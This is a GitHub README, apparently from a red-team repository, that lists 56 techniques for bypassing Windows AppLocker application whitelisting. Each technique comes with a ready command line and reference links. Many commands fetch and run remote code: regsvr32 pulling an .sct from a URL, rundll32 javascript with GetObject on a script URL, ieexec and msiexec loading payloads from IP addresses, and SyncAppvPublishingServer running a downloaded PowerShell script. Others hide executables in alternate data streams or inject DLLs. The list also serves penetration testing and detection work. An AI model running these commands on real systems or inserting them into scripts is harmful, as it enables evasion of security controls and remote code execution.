api0cradle / UltimateAppLockerByPassList

The goal of this repository is to document the most common techniques to bypass AppLocker.

37 commits | 1 branch | 0 releases | 2 contributors

Branch: master | New pull request | Find file | Clone or download

api0cradle Formatting — Latest commit `f5d00ca` 18 days ago

AppLocker-BlockPolicies	Typo	2 months ago
README.md	Formatting	18 days ago

VerifiedBypasses-DefaultRules.md Added some new stuff, began with new formatting for bulletpoint list 4 months ago

README.md

Ultimate AppLocker ByPass List

The goal of this repository is to document the most common techniques to bypass AppLocker. This README file contains a complete list of all known bypasses. Since AppLocker can be configured in different ways it makes sense to have master list of bypasses. This README.MD will be the master and will be updated with known and possible AppLocker bypasses.

I have created a list of verified bypasses that works against the default rules created with AppLocker.

For details on how I verified and how to create the default rules you can check my blog:
https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/

VerifiedBypasses-DefaultRules.MD

Please contribute and do point out errors or resources I have forgotten.

1. Rundll32.exe

```
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shel

rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject(\"WScript.Shell\")

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Sh

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.git
```

```
rundll32 shell32.dll,Control_RunDLL payload.dll
```

- Requires admin: No
- Windows binary: Yes
- Bypasses AppLocker Default rules: No

Notes: I only tested on Windows 10 against the default rules, it could work against older Windows versions.

- Links:
  - https://pentestlab.blog/2017/05/23/applocker-bypass-rundll32/
  - https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_7
  - https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Execution/Rundll32.md
  - https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/

2. Regsvr32.exe

```
regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll
```

- Requires admin: No
- Windows binary: Yes
- Bypasses AppLocker Default rules: No

Notes: I only tested on Windows 10 against the default rules, it could work against older Windows versions.

- Links:

    - https://gist.github.com/subTee/24c7d8e1ff0f5602092f58cbb3f7d302
    - https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Execution/Regsvr32.md

3. Msbuild.exe

```
msbuild.exe pshell.xml
```

- Requires admin: No
- Windows binary: Yes
- Bypasses AppLocker Default rules: Yes

Notes:

- Links:
    - https://gist.github.com/subTee/6b236083da2fd6ddff216e434f257614
    - http://subt0x10.blogspot.no/2017/04/bypassing-application-whitelisting.html
    - https://github.com/Cn33liz/MSBuildShell
    - https://github.com/Cn33liz/MS17-012
    - https://pentestlab.blog/2017/05/29/applocker-bypass-msbuild/
    - https://www.youtube.com/watch?v=aSDEAPXaz28
    - https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Execution/Trusted_Developer_Utilities.md
    - https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/

4. Regsvcs.exe

```
regsvcs.exe /U regsvcs.dll

regsvcs.exe regsvcs.dll
```

- Requires admin: No
- Windows binary: Yes
- Bypasses AppLocker Default rules: Yes

Notes:

- Links:
  - https://pentestlab.blog/2017/05/19/applocker-bypass-regasm-and-regsvcs/
  - https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Payloads/RegSvcsRegAsmBypass.cs
  - https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Execution/RegsvcsRegasm.md
  - https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/

5. Regasm.exe

```
regasm.exe /U regsvcs.dll

regasm.exe regsvcs.dll
```

- Requires admin: /U does not require admin
- Windows binary: Yes
- Bypasses AppLocker Default rules: Yes

Notes:

- Links:
  - https://pentestlab.blog/2017/05/19/applocker-bypass-regasm-and-regsvcs/
  - https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Payloads/RegSvcsRegAsmBypass.cs
  - https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Execution/RegsvcsRegasm.md
  - https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/

6. Bginfo.exe

```
bginfo.exe bginfo.bgi /popup /nolicprompt
```

- Requires admin: No
- Windows binary: No
- Bypasses AppLocker Default rules: No

Notes: Will work if BGinfo.exe is located in a path that is trusted by the policy.

- Links:
  - https://oddvar.moe/2017/05/18/bypassing-application-whitelisting-with-bginfo/
  - https://oddvar.moe/2017/05/22/clarification-bginfo-4-22-applocker-still-vulnerable/
  - https://pentestlab.blog/2017/06/05/applocker-bypass-bginfo/

7. InstallUtil.exe

```
InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll
```

- Requires admin: No
- Windows binary: Yes
- Bypasses AppLocker Default rules: Yes

Notes:

- Links:
  - https://github.com/subTee/AllTheThings
  - https://pentestlab.blog/2017/05/08/applocker-bypass-installutil/
  - https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_12
  - http://subt0x10.blogspot.no/2017/09/banned-file-execution-via.html
  - https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Execution/InstallUtil.md
  - https://www.blackhillsinfosec.com/powershell-without-powershell-how-to-bypass-application-whitelisting-environment-restrictions-av/
  - https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/

8. MSDT.exe

```
Open .diagcab package
```

- Requires admin: No
- Windows binary: Yes
- Bypasses AppLocker Default rules: ?

Notes:

- Links:
  - https://cybersyndicates.com/2015/10/a-no-bull-guide-to-malicious-windows-trouble-shooting-packs-and-application-whitelist-bypass/
  - https://oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/

9. mshta.exe

```
mshta.exe evilfile.hta
```

- Requires admin: No
- Windows binary: Yes
- Bypasses AppLocker Default rules: Yes

Notes:

- Links:
  - https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_4
  - https://oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/

10. Execute .Bat

```
cmd.exe /k < script.txt
```

- Requires admin: No
- Windows binary: Yes

- Bypasses AppLocker Default rules: No

Notes:

- Links:
  - https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_3
  - https://oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/

11. Execute .PS1

```
Get-Content script.txt | iex
```

- Requires admin: No
- Windows binary: Yes
- Bypasses AppLocker Default rules: No

Notes:

- Links:
  - https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_3
  - https://oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/

12. Execute .VBS

```
cscript.exe //E:vbscript script.txt
```

- Requires admin: No
- Windows binary: Yes
- Bypasses AppLocker Default rules: No

Notes:

- Links:
  - https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_3
  - https://oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/

13. PresentationHost.exe

```
Missing Example
```

- Requires admin: No
- Windows binary: Yes
- Bypasses AppLocker Default rules: ?

Notes:

- Links:
  - https://github.com/api0cradle/ShmooCon-2015/blob/master/ShmooCon-2015-Simple-WLEvasion.pdf
  - https://oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/

14. dfsvc.exe

```
Missing Example
```

- Requires admin: ?
- Windows binary: Yes
- Bypasses AppLocker Default rules: ?

Notes:

- Links:
  - https://github.com/api0cradle/ShmooCon-2015/blob/master/ShmooCon-2015-Simple-WLEvasion.pdf

15. IEExec.exe

```
ieexec.exe http://x.x.x.x:8080/bypass.exe
```

- Requires admin: ?
- Windows binary: Yes
- Bypasses AppLocker Default rules: ?

Notes:

- Links:
  - https://room362.com/post/2014/2014-01-16-application-whitelist-bypass-using-ieexec-dot-exe/

16. cdb.exe

```
cdb.exe -cf x64_calc.wds -o notepad.exe
```

- Requires admin: ?
- Windows binary: No
- Bypasses AppLocker Default rules: ?

Notes:

- Links:
  - http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html

17. dnx.exe

```
dnx.exe consoleapp
```

- Requires admin: ?
- Windows binary: No
- Bypasses AppLocker Default rules: ?

Notes:

- Links:
  - https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/

18. rcsi.exe

```
rcsi.exe bypass.csx
```

- Requires admin: ?
- Windows binary: No
- Bypasses AppLocker Default rules: ?

Notes:

- Links:
  - https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/

19. csi.exe

```
Missing example
```

- Requires admin: ?
- Windows binary: No
- Bypasses AppLocker Default rules: ?

Notes:

- Links:
  - https://web.archive.org/web/20161008143428/
  - http://subt0x10.blogspot.com/2016/09/application-whitelisting-bypass-csiexe.html

20. CPL loading location manipulation

```
Control.exe
```

- Requires admin: No
- Windows binary: Yes
- Bypasses AppLocker Default rules: ?

Notes:

- Links:
  - https://pentestlab.blog/2017/05/24/applocker-bypass-control-panel/
  - https://www.contextis.com/resources/blog/applocker-bypass-registry-key-manipulation/

21. msxsl.exe

```
msxsl.exe customers.xml script.xsl
```

- Requires admin: No
- Windows binary: No
- Bypasses AppLocker Default rules: ?

Notes:

- Links:
  - https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl/
  - https://gist.github.com/subTee/d9380299ff35738723cb44f230ab39a1
  - https://github.com/3gstudent/Use-msxsl-to-bypass-AppLocker

- https://bohops.com/2018/02/26/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence/

22. msiexec.exe

```
msiexec /quiet /i cmd.msi

msiexec /q /i http://192.168.100.3/tmp/cmd.png
```

- Requires admin: ?
- Windows binary: Yes
- Bypasses AppLocker Default rules: ?

Notes:

- Links:
  - https://pentestlab.blog/2017/06/16/applocker-bypass-msiexec/

23. cmstp.exe

```
cmstp.exe /ni /s c:\cmstp\CorpVPN.inf
```

- Requires admin: No
- Windows binary: Yes
- Bypasses AppLocker Default rules: ?

Notes: Can also execute scriptlets - https://twitter.com/NickTyrer/status/958450014111633408 https://gist.github.com/NickTyrer/bbd10d20a5bb78f64a9d13f399ea0f80

- Links:
  - https://msitpros.com/?p=3960
  - https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e

24. xwizard.exe

```
xwizard.exe argument1 argument2
```

DLL loading in same folder xwizard.dll

- Requires admin: No
- Windows binary: Yes
- Bypasses AppLocker Default rules: ?

Notes:

- Links:
  - http://www.hexacorn.com/blog/2017/07/31/the-wizard-of-x-oppa-plugx-style/

25. fsi.exe

```
fsi.exe c:\folder\d.fscript
```

- Requires admin: No

- Windows binary: No
- Bypasses AppLocker Default rules: ?

Notes:

- Links:
  - https://gist.github.com/NickTyrer/51eb8c774a909634fa69b4d06fc79ae1
  - https://twitter.com/NickTyrer/status/904273264385589248
  - https://docs.microsoft.com/en-us/dotnet/fsharp/tutorials/fsharp-interactive/

26. odbcconf.exe

```
odbcconf -f file.rsp
```

- Requires admin: ?
- Windows binary: Yes
- Bypasses AppLocker Default rules: ?

Notes:

- Links:
  - https://gist.github.com/NickTyrer/6ef02ce3fd623483137b45f65017352b

27. te.exe

```
te.exe bypass.wsc
```

- Requires admin: No
- Windows binary: No
- Bypasses AppLocker Default rules: ?

Notes: Can be used if the Test Authoring and Execution Framework is installed and is in a path that is whitelisted. Default location is: C:\program files (x86)\Windows Kits\10\testing\Runtimes\TAEF

- Links:
  - https://twitter.com/gN3mes1s/status/927680266390384640
  - https://gist.github.com/N3mes1s/5b75a4cd6aa4d41bb742acace2c8ab42

28. Placing files in writeable paths under c:\windows

The following folders are by default writable and executable by normal users

```
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys

C:\Windows\System32\spool\drivers\color

C:\Windows\Tasks

C:\windows\tracing
```

- Requires admin: No
- Windows binary: N/A
- Bypasses AppLocker Default rules: ?

Notes: This list is based on Windows 10 1709. Run accesschk to verify on other Windows versions

29. Atbroker.exe

```
ATBroker.exe /start malware
```

- Requires admin: No
- Windows binary: Yes
- Bypasses AppLocker Default rules: ?

Notes:

- Links:
    - http://www.hexacorn.com/blog/2016/07/22/beyond-good-ol-run-key-part-42/

30. WMIC.exe

```
wmic process call create calc

wmic process get brief /format:"https://www.example.com/file.xsl

wmic os get /format:"MYXSLFILE.xsl"

wmic process get brief /format:"\\127.0.0.1\c$\Tools\pocremote.xsl"
```

- Requires admin: No
- Windows binary: Yes
- Bypasses AppLocker Default rules: ?

Notes:

- Links:
  - https://stackoverflow.com/questions/24658745/wmic-how-to-use-process-call-create-with-a-specific-working-directory
  - https://subt0x11.blogspot.no/2018/04/wmicexe-whitelisting-bypass-hacking.html
  - https://gist.githubusercontent.com/caseysmithrc/68924cabbeca1285d2941298a5b91c24/raw/8574e0c019b17d84028833220ed0b30cf9eea84b/minimalist.xsl

31. MavInject32.exe

```
MavInject32.exe <PID> /INJECTRUNNING <PATH DLL>
```

- Requires admin: No
- Windows binary: Yes
- Bypasses AppLocker Default rules: ?

Notes:

- Links:
  - https://twitter.com/gN3mes1s/status/941315826107510784
  - https://twitter.com/Hexacorn/status/776122138063409152

32. Pubprn.vbs

```
pubprn.vbs 127.0.0.1 script:https://gist.githubusercontent.com/api0cradle/fb164762143b1ff4042d9c662171a568/
```

- Requires admin: No
- Windows binary: Yes
- Bypasses AppLocker Default rules: ?

Notes:

- Links:
  - https://www.slideshare.net/enigma0x3/windows-operating-system-archaeology
  - https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/

33. slmgr.vbs

```
slmgr.vbs
```

- Requires admin: No
- Windows binary: Yes
- Bypasses AppLocker Default rules: ?

Notes: Requires registry keys for com object.

- Links:
  - https://www.slideshare.net/enigma0x3/windows-operating-system-archaeology
  - https://www.youtube.com/watch?v=3gz1QmiMhss

34. winrm.vbs

```
winrm quickconfig
```

- Requires admin: No
- Windows binary: Yes
- Bypasses AppLocker Default rules: ?

Notes: Requires registry keys for com object.

- Links:
  - https://www.slideshare.net/enigma0x3/windows-operating-system-archaeology
  - https://www.youtube.com/watch?v=3gz1QmiMhss

35. forfiles.exe

```
forfiles /p c:\windows\system32 /m notepad.exe /c calc.exe
```

- Requires admin: No
- Windows binary: Yes
- Bypasses AppLocker Default rules: ?

Notes:

- Links:
  - https://twitter.com/vector_sec/status/896049052642533376

36. SyncAppvPublishingServer.exe

```
SyncAppvPublishingServer.exe "n;((New-Object Net.WebClient).DownloadString('http://some.url/script.ps1') |
```

- Requires admin: No
- Windows binary: Yes
- Bypasses AppLocker Default rules: ?

Notes:

- Links:
  - https://twitter.com/monoxgas/status/895045566090010624

37. InfDefaultInstall.exe

```
InfDefaultInstall.exe shady.inf
```

- Requires admin: ?
- Windows binary: Yes
- Bypasses AppLocker Default rules: ?

Notes: Only works on Windows 7? Windows 10 requires admin or digital signature

- Links:
  - https://twitter.com/KyleHanslovan/status/911997635455852544
  - https://gist.github.com/KyleHanslovan/5e0f00d331984c1fb5be32c40f3b265a
  - https://blog.conscioushacker.io/index.php/2017/10/25/evading-microsofts-autoruns/

38. Winword.exe

```
winword.exe /l dllfile.dll
```

- Requires admin: No
- Windows binary: Yes
- Bypasses AppLocker Default rules: ?

Notes: No commonly made DLL example file

- Links:
  - https://twitter.com/subTee/status/884615369511636992

39. Runscripthelper.exe

```
runscripthelper.exe surfacecheck \\?\C:\Test\Microsoft\Diagnosis\scripts\test.txt C:\Test
```

- Requires admin: No
- Windows binary: Yes
- Bypasses AppLocker Default rules: ?

Notes:

- Links:
  - https://posts.specterops.io/bypassing-application-whitelisting-with-runscripthelper-exe-1906923658fc

40. Tracker.exe

```
Tracker.exe /d .\calc.dll /c C:\Windows\write.exe
```

- Requires admin: No
- Windows binary: No
- Bypasses AppLocker Default rules: ?

Notes: Part of Visual studio. Requires TrackerUI.dll present in 1028 subfolder.

- Links:
  - https://twitter.com/Sudhanshu_C/status/943011972261412864

41. .WSF files

```
script.wsf
```

- Requires admin: No
- Windows binary: No
- Bypasses AppLocker Default rules: ?

Notes: .WSF files are supposed to not be blocked by AppLocker

- Links:

42. PowerShell version 2

```
Powershell -version 2
```

- Requires admin: No
- Windows binary: Yes
- Bypasses AppLocker Default rules: ?

Notes: Bypasses Constrained language mode

- Links:

43. CL_Invocation.ps1

```
. C:\Windows\diagnostics\system\AERO\CL_Invocation.ps1

SyncInvoke <executable> [args]
```

- Requires admin: No
- Windows binary: Yes
- Bypasses AppLocker Default rules: Yes, as long as PowerShell version 2 is present

Notes: Requires PowerShell version 2

- Links:
  - https://twitter.com/bohops/status/948548812561436672

44. Incorrect permissions on files in folders

```
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"

wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"'
```

- Requires admin: No
- Windows binary: Yes
- Bypasses AppLocker Default rules: Yes

Notes:

- Links:
  - https://twitter.com/Oddvarmoe/status/951757732557852673

45. Control.exe -Loading DLL/CPL binary from Alternate data stream

```
type notepad_reflective_x64.dll > c:\windows\tasks\zzz:notepad_reflective_x64.dll
control.exe c:\windows\tasks\zzz:notepad_reflective_x64.dll
```

- Requires admin: No
- Windows binary: Yes
- Bypasses AppLocker Default rules: ?

Notes: Requires write access to a place that is allowed by AppLocker

- Links:
  - https://bohops.com/2018/01/23/loading-alternate-data-stream-ads-dll-cpl-binaries-to-bypass-applocker/
  - https://twitter.com/bohops/status/955659561008017409

46. Advpack.dll - LaunchINFSection

```
rundll32.exe advpack.dll,LaunchINFSection c:\test.inf,DefaultInstall_SingleUser,1,
```

- Requires admin: No
- Windows binary: Yes
- Bypasses AppLocker Default rules: Yes

Notes:

- Links:
  - https://bohops.com/2018/02/26/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence/
  - https://twitter.com/bohops/status/967486047839014913
  - https://gist.githubusercontent.com/bohops/693dd4d5dbfb500f1c3ace02622d5d34/raw/902ed953a9188b27e91c199b465cddf855c7b94f/test.inf

47. Advpack.dll - RegisterOCX

```
rundll32.exe advpack.dll,RegisterOCX calc.exe
```

- Requires admin: No
- Windows binary: Yes
- Bypasses AppLocker Default rules: Yes

Notes:

- Links:
  - https://twitter.com/Moriarty_Meng/status/977848311603380224

48. zipfldr.dll - RouteTheCall

```
rundll32.exe zipfldr.dll,RouteTheCall calc.exe
```

- Requires admin: No
- Windows binary: Yes
- Bypasses AppLocker Default rules: Yes

Notes:

- Links:
  - https://twitter.com/Moriarty_Meng/status/977848311603380224

49. url.dll - OpenURL

```
rundll32.exe url.dll,OpenURL "C:\test\calc.hta"
rundll32.exe url.dll,OpenURL "C:\test\calc.url"
```

- Requires admin: No
- Windows binary: Yes
- Bypasses AppLocker Default rules: ?

Notes:

- Links:
  - https://bohops.com/2018/03/17/abusing-exported-functions-and-exposed-dcom-interfaces-for-pass-thru-command-execution-and-lateral-movement/
  - http://www.hexacorn.com/blog/2017/05/01/running-programs-via-proxy-jumping-on-a-edr-bypass-trampoline/

50. url.dll - FileProtocolHandler

```
rundll32.exe url.dll, FileProtocolHandler calc.exe
```

- Requires admin: No
- Windows binary: Yes
- Bypasses AppLocker Default rules: ?

Notes:

- Links:
  - http://www.hexacorn.com/blog/2017/05/01/running-programs-via-proxy-jumping-on-a-edr-bypass-trampoline/

51. ieframe.dll - OpenURL

```
rundll32.exe ieframe.dll,OpenURL "C:\test\calc.url"
```

- Requires admin: No
- Windows binary: Yes
- Bypasses AppLocker Default rules: ?

Notes:

- Links:
  - https://bohops.com/2018/03/17/abusing-exported-functions-and-exposed-dcom-interfaces-for-pass-thru-command-execution-and-lateral-movement/
  - http://www.hexacorn.com/blog/2018/03/15/running-programs-via-proxy-jumping-on-a-edr-bypass-trampoline-part-5/

52. shdocvw.dll - OpenURL

```
rundll32.exe shdocvw.dll,OpenURL "C:\test\calc.url"
```

- Requires admin: No
- Windows binary: Yes
- Bypasses AppLocker Default rules: ?

Notes:

- Links:
  - https://bohops.com/2018/03/17/abusing-exported-functions-and-exposed-dcom-interfaces-for-pass-thru-command-execution-and-lateral-movement/
  - http://www.hexacorn.com/blog/2018/03/15/running-programs-via-proxy-jumping-on-a-edr-bypass-trampoline-part-5/

53. ieadvpack.dll - LaunchINFSection

```
rundll32.exe ieadvpack.dll,LaunchINFSection test.inf,,1,
```

- Requires admin: No
- Windows binary: Yes
- Bypasses AppLocker Default rules: ?

Notes:

- Links:
  - https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/

54. ie4unit.exe

```
ie4unit.exe -BaseSettings
```

- Requires admin: No
- Windows binary: Yes
- Bypasses AppLocker Default rules: No

Notes: Requires to copy out ie4unit.exe and ieuinit.inf to a user controlled folder. Also need to add SCT in the MSIE4RegisterOCX.Windows7 section

- Links:
  - https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/

55. Visual Studio Tools for Office - .VSTO files

```
evilfile.vsto
```

- Requires admin: No
- Windows binary: Yes
- Bypasses AppLocker Default rules: ?

Notes: You need to build a solution using Visual Studio Tools for Office. User needs to confirm installation after executing.

- Links:
  - https://bohops.com/2018/01/31/vsto-the-payload-installer-that-probably-defeats-your-application-whitelisting-rules/

56. Manage-bde.wsf

```
cscript c:\windows\system32\manage-bde.wsf
```

- Requires admin: No
- Windows binary: Yes
- Bypasses AppLocker Default rules: ?

Notes: Need to adjust comspec variable using: set comspec=c:\windows\system32\calc.exe

- Links:
  - https://gist.github.com/bohops/735edb7494fe1bd1010d67823842b712
  - https://twitter.com/bohops/status/980659399495741441